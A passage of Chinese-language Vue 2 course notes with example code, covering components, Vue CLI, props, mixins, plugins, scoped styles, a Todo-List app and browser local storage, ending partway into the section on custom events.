一个简写方法:
const school = Vue.extend(options) 可简写为const school = options

<!DOCTYPE html>
<html>

  <head>
    <meta charset="UTF-8" />
    <title>几个注意点</title>
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>

  <body>
    
    <div id="root">
      <h1>{{msg}}</h1>
      <school></school>
    </div>
  </body>

  <script type="text/javascript">
    //定义组件
    const s = Vue.extend({
      name: 'atguigu',
      template: `
        <div>
            <h2>学校名称:{{name}}</h2>  
            <h2>学校地址:{{address}}</h2>   
        </div>
            `,
      data() {
        return {
          name: '尚硅谷',
          address: '北京'
        }
      }
    })

    new Vue({
      el: '#root',
      data: {
        msg: '欢迎学习Vue!'
      },
      components: {
        school: s
      }
    })
  </script>

</html>

组件的嵌套

<!DOCTYPE html>
<html>

  <head>
    <meta charset="UTF-8" />
    <title>组件的嵌套</title>
    <!-- 引入Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>

  <body>
    <div id="root">
      
    </div>
  </body>

  <script type="text/javascript">
    //定义student组件
    const student = Vue.extend({
      name: 'student',
      template: `
                <div>
                    <h2>学生姓名:{{name}}</h2>  
                    <h2>学生年龄:{{age}}</h2>   
                </div>
            `,
      data() {
        return {
          name: '尚硅谷',
          age: 18
        }
      }
    })

    //定义school组件
    const school = Vue.extend({
      name: 'school',
      template: `
                <div>
                    <h2>学校名称:{{name}}</h2>  
                    <h2>学校地址:{{address}}</h2>   
                    <student></student>
                </div>
            `,
      data() {
        return {
          name: '尚硅谷',
          address: '北京'
        }
      },
      //注册组件(局部)
      components: {
        student
      }
    })

    //定义hello组件
    const hello = Vue.extend({
      template: `<h1>{{msg}}</h1>`,
      data() {
        return {
          msg: '欢迎来到尚硅谷学习!'
        }
      }
    })

    //定义app组件
    const app = Vue.extend({
      template: `
                <div>   
                    <hello></hello>
                    <school></school>
                </div>
            `,
      components: {
        school,
        hello
      }
    })

    //创建vm
    new Vue({
      template: '<app></app>',
      el: '#root',
      //注册组件(局部)
      components: { app }
    })
  </script>

</html>

VueComponent

关于VueComponent:

  1. school组件本质是一个名为VueComponent的构造函数,且不是程序员定义的,是Vue.extend生成的

  2. 我们只需要写或,Vue解析时会帮我们创建 school 组件的实例对象,

    即Vue帮我们执行的:new VueComponent(options)

  3. 特别注意:每次调用Vue.extend,返回的都是一个全新的VueComponent!!!!

  4. 关于this指向:

    1. 组件配置中data函数、methods中的函数、watch中的函数、computed中的函数,它们的this均是VueComponent实例对象
    2. new Vue(options)配置中data函数、methods中的函数、watch中的函数、computed中的函数,它们的this均是Vue实例对象
  5. VueComponent的实例对象,以后简称vc(也可称之为:组件实例对象),Vue的实例对象,以后简称vm

<!DOCTYPE html>
<html>

  <head>
    <meta charset="UTF-8" />
    <title>VueComponent</title>
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>

  <body>
    <div id="root">
      <school></school>
      <hello></hello>
    </div>
  </body>

  <script type="text/javascript">
    //定义school组件
    const school = Vue.extend({
      name: 'school',
      template: `
        <div>
            <h2>学校名称:{{name}}</h2>  
            <h2>学校地址:{{address}}</h2>   
            <button @click="showName">点我提示学校名</button>
        </div>
            `,
      data() {
        return {
          name: '尚硅谷',
          address: '北京'
        }
      },
      methods: {
        showName() {
          console.log('showName', this)
        }
      },
    })

    //定义test组件
    const test = Vue.extend({
      template: `<span>atguigu</span>`
    })

    //定义hello组件
    const hello = Vue.extend({
      template: `
                <div>
                    <h2>{{msg}}</h2>
                    <test></test>   
                </div>
            `,
      data() {
        return {
          msg: '你好啊!'
        }
      },
      components: { test }
    })

    // console.log('@',school)
    // console.log('#',hello)

    //创建vm
    const vm = new Vue({
      el: '#root',
      components: { school, hello }
    })
  </script>

</html>

一个重要的内置关系

  1. 一个重要的内置关系:VueComponent.prototype.__proto__ === Vue.prototype

VueComponent的原型对象的原型对象是Vue的原型对象

  1. 为什么要有这个关系:让组件实例对象(vc)可以访问到 Vue原型上的属性、方法
<!DOCTYPE html>
<html>

<head>
    <meta charset="UTF-8" />
    <title>一个重要的内置关系</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
    <div id="root">
        <school></school>
    </div>
</body>

<script type="text/javascript">
    Vue.prototype.x = 99

    //定义school组件
    const school = Vue.extend({
        name: 'school',
        template: `
                <div>
                    <h2>学校名称:{{name}}</h2>  
                    <h2>学校地址:{{address}}</h2>   
                    <button @click="showX">点我输出x</button>
                </div>
            `,
        data() {
            return {
                name: '尚硅谷',
                address: '北京'
            }
        },
        methods: {
            showX() {
                console.log(this.x)
            }
        },
    })

    //创建一个vm
    const vm = new Vue({
        el: '#root',
        data: {
            msg: '你好'
        },
        components: { school }
    })

        //定义一个构造函数
    /* function Demo(){
        this.a = 1
        this.b = 2
    }
    //创建一个Demo的实例对象
    const d = new Demo()

    console.log(Demo.prototype) //显示原型属性

    console.log(d.__proto__) //隐式原型属性

    console.log(Demo.prototype === d.__proto__)

    //程序员通过显示原型属性操作原型对象,追加一个x属性,值为99
    Demo.prototype.x = 99

    console.log('@',d) */

</script>

</html>

单文件组件

<!DOCTYPE html>
<html>

  <head>
    <meta charset="UTF-8" />
    <title>练习一下单文件组件的语法</title>
  </head>

  <body>
    <!-- 准备一个容器 -->
    <div id="root"></div>
    <script type="text/javascript" src="../js/vue.js"></script>
    <script type="text/javascript" src="./main.js"></script>
  </body>

</html>
import App from "./App.vue";

new Vue({
  el: "#root",
  template: `<App></App>`,
  components: { App },
});
<template>
  <div>
    <School></School>
    <Student></Student>
  </div>
</template>

<script>
  //引入组件
  import School from "./School.vue";
  import Student from "./Student.vue";

  export default {
    name: "App",
    components: {
      School,
      Student,
    },
  };
</script>
<template>
  <div class="demo">
    <h2>学校名称:{{ name }}</h2>
    <h2>学校地址:{{ address }}</h2>
    <button @click="showName">点我提示学校名</button>
  </div>
</template>

<script>
  export default {
    name: "School",
    data() {
      return {
        name: "尚硅谷",
        address: "北京昌平",
      };
    },
    methods: {
      showName() {
        alert(this.name);
      },
    },
  };
</script>

<style>
  .demo {
    background-color: orange;
  }
</style>
<template>
  <div>
    <h2>学生姓名:{{ name }}</h2>
    <h2>学生年龄:{{ age }}</h2>
  </div>
</template>

<script>
  export default {
    name: "Student",
    data() {
      return {
        name: "张三",
        age: 18,
      };
    },
  };
</script>

Vue-CLI

初始化脚手架

说明
  1. Vue脚手架 是 Vue 官方提供的标准化开发工具 (开发平台)
  2. 最新的版本是 5.x
  3. 文档 Vue CLI
具体步骤
  1. 如果下载缓慢请配置npm淘宝镜像 npm config set registry http://registry.npm.taobao.org
  2. 全局安装 @vue/cli npm install -g @vue/cli
  3. 切换到创建项目的目录,使用命令创建项目vue create xxx
  4. 选择使用 vue 的版本
  5. 启动项目npm run serve
  6. 打包项目npm run build
  7. 暂停项目 Ctrl+C

Vue脚手架隐藏了所有webpack相关的配置,若想查看具体的webpack配置,执行vue inspect > output.js

脚手架文件结构
├── node_modules 
├── public
│   ├── favicon.ico: 页签图标
│   └── index.html: 主页面
├── src
│   ├── assets: 存放静态资源
│   │   └── logo.png
│   │── component: 存放组件
│   │   └── HelloWorld.vue
│   │── App.vue: 汇总所有组件
│   │── main.js: 入口文件
├── .gitignore: git版本管制忽略的配置
├── babel.config.js: babel的配置文件
├── package.json: 应用包配置文件 
├── README.md: 应用描述文件
├── package-lock.json:包版本控制文件
<!DOCTYPE html>
<html lang="">
  <head>
    <meta charset="utf-8">
    
    <!-- 针对IE浏览器的一个特殊配置,含义是让IE浏览器以最高的渲染级别渲染页面 -->
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    
    <!-- 开启移动端的理想视口 -->
    <meta name="viewport" content="width=device-width,initial-scale=1.0">
    
    <!-- 配置页签图标 -->
    <link rel="icon" href="<%= BASE_URL %>favicon.ico">
    
    <!-- 引入第三方样式 -->
    <link rel="stylesheet" href="<%= BASE_URL %>css/bootstrap.css">
    
    <!-- 配置网页标题 -->
    <title><%= htmlWebpackPlugin.options.title %></title>
  </head>
  <body>
    
    <!-- 当浏览器不支持js时noscript中的元素就会被渲染 -->
    <noscript>
      <strong>We're sorry but <%= htmlWebpackPlugin.options.title %> doesn't work properly without JavaScript enabled. Please enable it to continue.</strong>
    </noscript>
    
    <!-- 容器 -->
    <div id="app"></div>
  </body>
</html>

//该文件是整个项目的入口文件

//引入Vue
import Vue from "vue";

//引入App组件,它是所有组件的父组件
import App from "./App.vue";

//关闭vue的生产提示
Vue.config.productionTip = false;

//创建Vue实例对象
new Vue({
  el: "#app",
  //render函数完成了这个功能:将App组件放入容器中
  render: h => h(App),
});
<template>
  <div>
    <img src="./assets/logo.png" alt="logo">
      <School></School>
      <Student></Student>
    </div>
</template>

<script>
  //引入组件
  import School from './components/School'
  import Student from './components/Student'

  export default {
    name:'App',
    components:{
      School,
      Student
    }
  }
</script>
<template>
  <div class="demo">
    <h2>学校名称:{{name}}</h2>
    <h2>学校地址:{{address}}</h2>
    <button @click="showName">点我提示学校名</button>  
  </div>
</template>

<script>
  export default {
    name:'School',
    data(){
      return {
        name:'尚硅谷',
        address:'北京昌平'
      }
    },
    methods: {
      showName(){
        alert(this.name)
      }
    },
  }
</script>

<style>
  .demo{
    background-color: orange;
  }
</style>
<template>
  <div>
    <h2>学生姓名:{{name}}</h2>
    <h2>学生年龄:{{age}}</h2>
  </div>
</template>

<script>
  export default {
    name:'Student',
    data(){
      return {
        name:'张三',
        age:18
      }
    }
  }
</script>

render函数
import Vue from "vue";
import App from "./App.vue";

Vue.config.productionTip = false;

new Vue({
  el: "#app",
  //render函数完成了这个功能:将App组件放入容器中
  //简写形式
  render: h => h(App),
  //完整形式
  render(creatElement){
    return creatElement(App)
  }
});

关于不同版本的函数
  1. vue.jsvue.runtime.xxx.js的区别:
    1. vue.js 是完整版的Vue,包含:核心功能 + 模板解析器
    2. vue.runtime.xxx.js 是运行版的Vue,只包含核心功能,没有模板解析器
  2. 因为vue.runtime.xxx.js没有模板解析器,所以不能使用template这个配置项,需要使用render函数接收到的createElement函数去指定具体内容
vue.config.js配置文件
  1. 使用vue inspect > output.js可以查看到Vue脚手架的默认配置。
  2. 使用vue.config.js可以对脚手架进行个性化定制,详情见:配置参考 | Vue CLI
module.exports = {
  pages: {
    index: {
      //入口
      entry: 'src/main.js',
    },
  },
  lintOnSave:false, //关闭语法检查
}

ref属性

  1. 功能:被用来给元素或子组件注册引用信息(id的替代者)
  2. 应用在html标签上获取的是真实DOM元素,应用在组件标签上是组件实例对象(vc)
  3. 使用方式:
    1. 打标识:<h1 ref="xxx">.....</h1><School ref="xxx"></School>
    2. 获取:this.$refs.xxx
<template>
  <div>
    <h1 v-text="msg" ref="title"></h1>
    <button ref="btn" @click="showDOM">点我输出上方的DOM元素</button>
    <School ref="sch"/>
  </div>
</template>

<script>
  //引入School组件
  import School from './components/School'

  export default {
    name:'App',
    components:{School},
    data() {
      return {
        msg:'欢迎学习Vue!'
      }
    },
    methods: {
      showDOM(){
        console.log(this.$refs.title) //真实DOM元素
        console.log(this.$refs.btn) //真实DOM元素
        console.log(this.$refs.sch) //School组件的实例对象(vc)
      }
    },
  }
</script>

props配置项

  1. 功能:让组件接收外部传过来的数据
  2. 传递数据:<Demo name="xxx" :age="18"/>数字通过v-bind:的数据绑定使得""里的内容被认定为表达式
  3. 接收数据:
  4. 第一种方式(只接收):props:['name', 'age']
  5. 第二种方式(限制类型):props:{name:String, age:Number}
  6. 第三种方式(限制类型、限制必要性、指定默认值):
props:{
  name:{
    type:String, //类型
    required:true, //必要性
    default:'老王' //默认值
  }
}

注意:props是只读的,Vue底层会监测你对props的修改,如果进行了修改,就会发出警告,若业务需求确实需要修改,那么请复制props的内容到data中一份,然后去修改data中的数据

<template>
  <div>
    <Student name="李四" sex="女" :age="18"/>
  </div>
</template>

<script>
  import Student from './components/Student'

  export default {
    name:'App',
    components:{Student}
  }
</script>
<template>
  <div>
    <h1>{{msg}}</h1>
    <h2>学生姓名:{{name}}</h2>
    <h2>学生性别:{{sex}}</h2>
    <h2>学生年龄:{{myAge+1}}</h2>
    <button @click="updateAge">尝试修改收到的年龄</button>
  </div>
</template>

<script>
  export default {
    name:'Student',
    data() {
      console.log(this)
      return {
        msg:'我是一个尚硅谷的学生',
        myAge:this.age
      }
    },
    methods: {
      updateAge(){
        this.myAge++
      }
    },
    //简单声明接收
    // props:['name','age','sex'] 

    //接收的同时对数据进行:类型限制
    /* props:{
            name:String,
            age:Number,
            sex:String
        } */

    //接收的同时对数据进行:类型限制+默认值的指定+必要性的限制
    props:{
      name:{
        type:String, //name的类型是字符串
        required:true, //name是必要的
      },
      age:{
        type:Number,
        default:99 //默认值
      },
      sex:{
        type:String,
        required:true
      }
    }
  }
</script>

mixin混入

  1. 功能:可以把多个组件共用的配置提取成一个混入对象
  2. 使用方式:
  3. 定义混合:
const mixin = {
  	data(){....},
    methods:{....}
    ....
}
  1. 使用混入:
    全局混入:Vue.mixin(xxx)
    局部混入:mixins:['xxx']
  2. 注意:
    1. 组件和混入对象含有同名选项时,这些选项将以恰当的方式进行"合并",并在发生冲突时以组件优先
    2. 同名生命周期钩子将合并为一个数组,因此都将被调用。而且混入对象的钩子将在组件自身钩子之前调用
export const hunhe = {
  methods: {
    showName(){
      alert(this.name)
    }
  },
  mounted() {
    console.log('你好啊!')
  },
}
export const hunhe2 = {
  data() {
    return {
      x:100,
      y:200
    }
  },
}
<template>
  <div>
    <h2 @click="showName">学校名称:{{name}}</h2>
    <h2>学校地址:{{address}}</h2>
  </div>
</template>

<script>
  //引入一个hunhe
  import {hunhe,hunhe2} from '../mixin'

  export default {
    name:'School',
    data() {
      return {
        name:'尚硅谷',
        address:'北京',
        x:666
      }
    },
    mixins:[hunhe,hunhe2],
  }
</script>
<template>
  <div>
    <h2 @click="showName">学生姓名:{{name}}</h2>
    <h2>学生性别:{{sex}}</h2>
  </div>
</template>

<script>
  import {hunhe,hunhe2} from '../mixin'

  export default {
    name:'Student',
    data() {
      return {
        name:'张三',
        sex:'男'
      }
    },
    mixins:[hunhe,hunhe2]
  }
</script>
<template>
    <div>
        <School/>
        <hr>
        <Student/>
    </div>
</template>

<script>
    import School from './components/School'
    import Student from './components/Student'

    export default {
        name:'App',
        components:{School,Student}
    }
</script>
//引入Vue
import Vue from 'vue'
//引入App
import App from './App.vue'
//引入mixin
import {hunhe,hunhe2} from './mixin'
//全局混入,vc和vm都会混入
Vue.mixin(hunhe)
Vue.mixin(hunhe2)

//创建vm
new Vue({
    el:'#app',
    render: h => h(App)
})

plugin插件

  1. 功能:用于增强Vue
  2. 本质:包含install方法的一个对象,install的第一个参数是Vue,第二个以后的参数是插件使用者传递的数据。
  3. 定义插件: 见plugins.js
  4. 使用插件:Vue.use()
export default {
  install(Vue,x,y,z){
    console.log(x,y,z)
    //全局过滤器
    Vue.filter('mySlice',function(value){
      return value.slice(0,4)
    })

    //定义全局指令
    Vue.directive('fbind',{
      //指令与元素成功绑定时(一上来)
      bind(element,binding){
        element.value = binding.value
      },
      //指令所在元素被插入页面时
      inserted(element,binding){
        element.focus()
      },
      //指令所在的模板被重新解析时
      update(element,binding){
        element.value = binding.value
      }
    })

    //定义混入
    Vue.mixin({
      data() {
        return {
          x:100,
          y:200
        }
      },
    })

    //给Vue原型上添加一个方法(vm和vc就都能用了)
    Vue.prototype.hello = ()=>{alert('你好啊')}
  }
}
//引入Vue
import Vue from 'vue'
//引入App
import App from './App.vue'
//引入插件
import plugins from './plugins'

//应用(使用)插件
Vue.use(plugins,1,2,3)
//创建vm
new Vue({
  el:'#app',
  render: h => h(App)
})
<template>
  <div>
    <h2>学校名称:{{name | mySlice}}</h2>  //过滤器用管道符分隔
    <h2>学校地址:{{address}}</h2>
    <button @click="test">点我测试一个hello方法</button>
  </div>
</template>

<script>
  export default {
    name:'School',
    data() {
      return {
        name:'尚硅谷atguigu',
        address:'北京',
      }
    },
    methods: {
      test(){
        this.hello()
      }
    },
  }
</script>
<template>
  <div>
    <h2>学生姓名:{{name}}</h2>
    <h2>学生性别:{{sex}}</h2>
    <input type="text" v-fbind:value="name">
    </div>
</template>

<script>
  export default {
    name:'Student',
    data() {
      return {
        name:'张三',
        sex:'男'
      }
    },
  }
</script>

scoped样式

  1. 作用:让样式在局部生效,防止冲突。
  2. 写法:<style scoped></style>
  3. 原理:给标签加一个自定义属性

注意:Vue中的webpack没有安装最新版会导致有些插件也不能安装最新版,如npm i less-loader@7

<template>
  <div class="demo">
    <h2 class="title">学校名称:{{name}}</h2>
    <h2>学校地址:{{address}}</h2>
  </div>
</template>

<script>
  export default {
    name:'School',
    data() {
      return {
        name:'尚硅谷atguigu',
        address:'北京',
      }
    }
  }
</script>

<style scoped>
  .demo{
    background-color: skyblue;
  }
</style>
<template>
  <div class="demo">
    <h2 class="title">学生姓名:{{name}}</h2>
    <h2 class="atguigu">学生性别:{{sex}}</h2>
  </div>
</template>

<script>
  export default {
    name:'Student',
    data() {
      return {
        name:'张三',
        sex:'男'
      }
    }
  }
</script>

<style lang="less" scoped>
  .demo{
    background-color: pink;
  	.atguigu{
      font-size: 40px;
    }
  }
</style>
<template>
  <div>
    <h1 class="title">你好啊</h1>
    <School/>
    <Student/>
  </div>
</template>

<script>
  import Student from './components/Student'
  import School from './components/School'

  export default {
    name:'App',
    components:{School,Student}
  }
</script>

<style scoped>
  .title{
    color: red;
  }
</style>

Todo-List案例

组件化编码流程:

  1. 拆分静态组件:组件要按照功能点拆分,命名不要与html元素冲突
  2. 实现动态组件:考虑好数据的存放位置,数据是一个组件在用,还是一些组件在用
    1. 一个组件在用:放在组件自身即可
    2. 一些组件在用:放在他们共同的父组件上(状态提升)
  3. 实现交互:从绑定事件开始

props适用于:

  • 父组件 ==> 子组件 通信
  • 子组件 ==> 父组件 通信(要求父先给子一个函数)

注意:

  • 使用v-model时要切记:v-model绑定的值不能是props传过来的值,因为props是不可以修改的
  • props传过来的若是对象类型的值,修改对象中的属性时Vue不会报错,但不推荐这样做
<template>
  <div id="root">
    <div class="todo-container">
      <div class="todo-wrap">
        <MyHeader :addTodo="addTodo"/>
        <MyList 
          :todos="todos" 
          :checkTodo="checkTodo" 
          :deleteTodo="deleteTodo"
        />
        <MyFooter 
          :todos="todos" 
          :checkAllTodo="checkAllTodo" 
          :clearAllTodo="clearAllTodo"
        />
      </div>
    </div>
  </div>
</template>

<script>
  import MyHeader from './components/MyHeader'
  import MyList from './components/MyList'
  import MyFooter from './components/MyFooter.vue'

  export default {
    name:'App',
    components:{MyHeader,MyList,MyFooter},
    data() {
      return {
        //由于todos是MyHeader组件和MyFooter组件都在使用,所以放在App中(状态提升)
        todos:[
          {id:'001',title:'抽烟',done:true},
          {id:'002',title:'喝酒',done:false},
          {id:'003',title:'开车',done:true}
        ]
      }
    },
    methods: {
      //添加一个todo
      addTodo(todoObj){
        this.todos.unshift(todoObj)
      },
      //勾选or取消勾选一个todo
      checkTodo(id){
        this.todos.forEach((todo)=>{
          if(todo.id === id) todo.done = !todo.done
        })
      },
      //删除一个todo
      deleteTodo(id){
        this.todos = this.todos.filter( todo => todo.id !== id )
      },
      //全选or取消全选
      checkAllTodo(done){
        this.todos.forEach((todo)=>{
          todo.done = done
        })
      },
      //清除所有已经完成的todo
      clearAllTodo(){
        this.todos = this.todos.filter((todo)=>{
          return !todo.done
        })
      }
    }
  }
</script>

<style>
  /*base*/
  body {
    background: #fff;
  }
  .btn {
    display: inline-block;
    padding: 4px 12px;
    margin-bottom: 0;
    font-size: 14px;
    line-height: 20px;
    text-align: center;
    vertical-align: middle;
    cursor: pointer;
    box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);
    border-radius: 4px;
  }
  .btn-danger {
    color: #fff;
    background-color: #da4f49;
    border: 1px solid #bd362f;
  }
  .btn-danger:hover {
    color: #fff;
    background-color: #bd362f;
  }
  .btn:focus {
    outline: none;
  }
  .todo-container {
    width: 600px;
    margin: 0 auto;
  }
  .todo-container .todo-wrap {
    padding: 10px;
    border: 1px solid #ddd;
    border-radius: 5px;
  }
</style>
<template>
  <div class="todo-header">
    <input 
      type="text" 
      placeholder="请输入你的任务名称,按回车键确认" 
      v-model="title" 
      @keyup.enter="add"/>
    </div>
</template>

<script>
  import {nanoid} from 'nanoid'
  export default {
    name:'MyHeader',
    //接收从App传递过来的addTodo
    props:['addTodo'],
    data() {
      return {
        //收集用户输入的title
        title:''
      }
    },
    methods: {
      add(){
        //校验数据
        if(!this.title.trim()) return alert('输入不能为空')
        //将用户的输入包装成一个todo对象
        const todoObj = {id:nanoid(),title:this.title,done:false}
        //通知App组件去添加一个todo对象
        this.addTodo(todoObj)
        //清空输入
        this.title = ''
      }
    },
  }
</script>

<style scoped>
  /*header*/
  .todo-header input {
    width: 560px;
    height: 28px;
    font-size: 14px;
    border: 1px solid #ccc;
    border-radius: 4px;
    padding: 4px 7px;
  }
  .todo-header input:focus {
    outline: none;
    border-color: rgba(82, 168, 236, 0.8);
    box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px rgba(82, 168, 236, 0.6);
  }
</style>
<template>
  <ul class="todo-main">
    <MyItem 
      v-for="todoObj in todos"
      :key="todoObj.id" 
      :todo="todoObj" 
      :checkTodo="checkTodo"
      :deleteTodo="deleteTodo"
      />
  </ul>
</template>

<script>
  import MyItem from './MyItem'

  export default {
    name:'MyList',
    components:{MyItem},
  //声明接收App传递过来的数据,其中todos是自己用的,checkTodo和deleteTodo是给子组件MyItem用的
    props:['todos','checkTodo','deleteTodo']
  }
</script>

<style scoped>
  /*main*/
  .todo-main {
    margin-left: 0px;
    border: 1px solid #ddd;
    border-radius: 2px;
    padding: 0px;
  }
  .todo-empty {
    height: 40px;
    line-height: 40px;
    border: 1px solid #ddd;
    border-radius: 2px;
    padding-left: 5px;
    margin-top: 10px;
  }
</style>
<template>
  <li>
    <label>
      <input type="checkbox" :checked="todo.done" @change="handleCheck(todo.id)"/>
        <!-- 如下代码也能实现功能,但是不太推荐,因为有点违反原则,因为修改了props -->
        <!-- <input type="checkbox" v-model="todo.done"/> -->
        <span>{{todo.title}}</span>
      </label>
    <button class="btn btn-danger" @click="handleDelete(todo.id)">删除</button>
  </li>
</template>


<script>
  export default {
    name:'MyItem',
    //声明接收todo、checkTodo、deleteTodo
    props:['todo','checkTodo','deleteTodo'],
    methods: {
      //勾选or取消勾选
      handleCheck(id){
        //通知App组件将对应的todo对象的done值取反
        this.checkTodo(id)
      },
      //删除
      handleDelete(id){
        if(confirm('确定删除吗?')){
          //通知App组件将对应的todo对象删除
          this.deleteTodo(id)
        }
      }
    },
  }
</script>

<style scoped>
  /*item*/
  li {
    list-style: none;
    height: 36px;
    line-height: 36px;
    padding: 0 5px;
    border-bottom: 1px solid #ddd;
  }
  li label {
    float: left;
    cursor: pointer;
  }
  li label li input {
    vertical-align: middle;
    margin-right: 6px;
    position: relative;
    top: -1px;
  }
  li button {
    float: right;
    display: none;
    margin-top: 3px;
  }
  li:before {
    content: initial;
  }
  li:last-child {
    border-bottom: none;
  }
  li:hover{
    background-color: #ddd;
  }
  li:hover button{
    display: block;
  }
</style>
<template>
  <div class="todo-footer" v-show="total">
    <label>
      <!-- <input type="checkbox" :checked="isAll" @change="checkAll"/> -->
      <input type="checkbox" v-model="isAll" />
    </label>
    <span>
      <span>已完成{{ doneTotal }}</span> / 全部{{ total }}
    </span>
    <button class="btn btn-danger" @click="clearAll">清除已完成任务</button>
  </div>
</template>

<script>
  export default {
    name: 'MyFooter',
    props: ['todos', 'checkAllTodo', 'clearAllTodo'],
    computed: {
      //总数
      total() {
        return this.todos.length
      },
      //已完成数
      doneTotal() {
        //此处使用reduce方法做条件统计
        /* const x = this.todos.reduce((pre,current)=>{
                    console.log('@',pre,current)
                    return pre + (current.done ? 1 : 0)
                },0) */
        //简写
        return this.todos.reduce((pre, todo) => pre + (todo.done ? 1 : 0), 0)
      },
      //控制全选框
      isAll: {
        //全选框是否勾选
        get() {
          return this.doneTotal === this.total && this.total > 0
        },
        //isAll被修改时set被调用
        set(value) {
          this.checkAllTodo(value)
        },
      },
    },
    methods: {
      /* checkAll(e){
                this.checkAllTodo(e.target.checked)
            } */
      //清空所有已完成
      clearAll() {
        this.clearAllTodo()
      },
    },
  }
</script>

<style scoped>
  /*footer*/
  .todo-footer {
    height: 40px;
    line-height: 40px;
    padding-left: 6px;
    margin-top: 5px;
  }
  .todo-footer label {
    display: inline-block;
    margin-right: 20px;
    cursor: pointer;
  }
  .todo-footer label input {
    position: relative;
    top: -1px;
    vertical-align: middle;
    margin-right: 5px;
  }
  .todo-footer button {
    float: right;
    margin-top: 5px;
  }
</style>

WebStorage(js本地存储)

  1. 存储内容大小一般支持5MB左右(不同浏览器可能还不一样)
  2. 浏览器端通过Window.sessionStorageWindow.localStorage属性来实现本地存储机制
  3. 相关API:
  4. xxxxxStorage.setItem('key', 'value')
    该方法接受一个键和值作为参数,会把键值对添加到存储中,如果键名存在,则更新其对应的值
  5. xxxxxStorage.getItem('person')
    该方法接受一个键名作为参数,返回键名对应的值
  6. xxxxxStorage.removeItem('key')
    该方法接受一个键名作为参数,并把该键名从存储中删除
  7. xxxxxStorage.clear()
    该方法会清空存储中的所有数据
  8. 备注:
  9. SessionStorage存储的内容会随着浏览器窗口关闭而消失
  10. LocalStorage存储的内容,需要手动清除才会消失
  11. xxxxxStorage.getItem(xxx)如果xxx对应的value获取不到,那么getItem的返回值是null
  12. JSON.parse(null)的结果依然是null
<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>localStorage</title>
  </head>

  <body>
    <h2>localStorage</h2>
    <button onclick="saveData()">点我保存一个数据</button>
    <button onclick="readData()">点我读取一个数据</button>
    <button onclick="deleteData()">点我删除一个数据</button>
    <button onclick="deleteAllData()">点我清空一个数据</button>

    <script type="text/javascript" >
      let p = {name:'张三',age:18}
      function saveData(){
        localStorage.setItem('msg','hello!!!')
        localStorage.setItem('msg2',666)
        localStorage.setItem('person',JSON.stringify(p))
      }
      function readData(){
        console.log(localStorage.getItem('msg'))
        console.log(localStorage.getItem('msg2'))
        const result = localStorage.getItem('person')
        console.log(JSON.parse(result))
        // console.log(localStorage.getItem('msg3')) 输出null
      }
      function deleteData(){
        localStorage.removeItem('msg2')
      }
      function deleteAllData(){
        localStorage.clear()
      }
    </script>

  </body>
</html>
<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>sessionStorage</title>
  </head>
  
  <body>
    <h2>sessionStorage</h2>
    <button onclick="saveData()">点我保存一个数据</button>
    <button onclick="readData()">点我读取一个数据</button>
    <button onclick="deleteData()">点我删除一个数据</button>
    <button onclick="deleteAllData()">点我清空一个数据</button>

    <script type="text/javascript" >
      let p = {name:'张三',age:18}
      function saveData(){
        sessionStorage.setItem('msg','hello!!!')
        sessionStorage.setItem('msg2',666)
        sessionStorage.setItem('person',JSON.stringify(p))
      }
      function readData(){
        console.log(sessionStorage.getItem('msg'))
        console.log(sessionStorage.getItem('msg2'))
        const result = sessionStorage.getItem('person')
        console.log(JSON.parse(result))
        // console.log(sessionStorage.getItem('msg3')) 返回null
      }
      function deleteData(){
        sessionStorage.removeItem('msg2')
      }
      function deleteAllData(){
        sessionStorage.clear()
      }
    </script>
    
  </body>
</html>

使用本地存储优化TodoList案例

<template>
  <div id="root">
    <div class="todo-container">
      <div class="todo-wrap">
        <MyHeader :addTodo="addTodo"/>
        <MyList 
          :todos="todos" 
          :checkTodo="checkTodo" 
          :deleteTodo="deleteTodo"
          />
        <MyFooter 
          :todos="todos" 
          :checkAllTodo="checkAllTodo" 
          :clearAllTodo="clearAllTodo"
          />
      </div>
    </div>
  </div>
</template>

<script>
  import MyHeader from './components/MyHeader'
  import MyList from './components/MyList'
  import MyFooter from './components/MyFooter.vue'

  export default {
    name:'App',
    components:{MyHeader,MyList,MyFooter},
    data() {
      return {
        //🔴从本地存储中获取数据,如果是null就创建空数组,记得将JSON字符串转成对象
        todos:JSON.parse(localStorage.getItem('todos')) || []
      }
    },
    methods: {
      //添加一个todo
      addTodo(todoObj){
        this.todos.unshift(todoObj)
      },
      //勾选or取消勾选一个todo
      checkTodo(id){
        this.todos.forEach((todo)=>{
          if(todo.id === id) todo.done = !todo.done
        })
      },
      //删除一个todo
      deleteTodo(id){
        this.todos = this.todos.filter( todo => todo.id !== id )
      },
      //全选or取消全选
      checkAllTodo(done){
        this.todos.forEach((todo)=>{
          todo.done = done
        })
      },
      //清除所有已经完成的todo
      clearAllTodo(){
        this.todos = this.todos.filter((todo)=>{
          return !todo.done
        })
      }
    },
    //🔴数据发生改变就放到本地存储中,注意需要进行深度监视,并且要将对象转成JSON字符串
    watch: {
      todos:{
        deep:true,
        handler(value){
          localStorage.setItem('todos',JSON.stringify(value))
        }
      }
    },
  }
</script>

<style>
  /*base*/
  body {
    background: #fff;
  }
  .btn {
    display: inline-block;
    padding: 4px 12px;
    margin-bottom: 0;
    font-size: 14px;
    line-height: 20px;
    text-align: center;
    vertical-align: middle;
    cursor: pointer;
    box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);
    border-radius: 4px;
  }
  .btn-danger {
    color: #fff;
    background-color: #da4f49;
    border: 1px solid #bd362f;
  }
  .btn-danger:hover {
    color: #fff;
    background-color: #bd362f;
  }
  .btn:focus {
    outline: none;
  }
  .todo-container {
    width: 600px;
    margin: 0 auto;
  }
  .todo-container .todo-wrap {
    padding: 10px;
    border: 1px solid #ddd;
    border-radius: 5px;
  }
</style>

组件的自定义事件

  1. 一种组件间通信的方式,适用于:子组件 ===> 父组件
  2. 使用场景:子组件想给父组件传数据,那么就要在父组件中给子组件绑定自定义事件(事件的回调在父组件中)
  3. 绑定自定义事件:
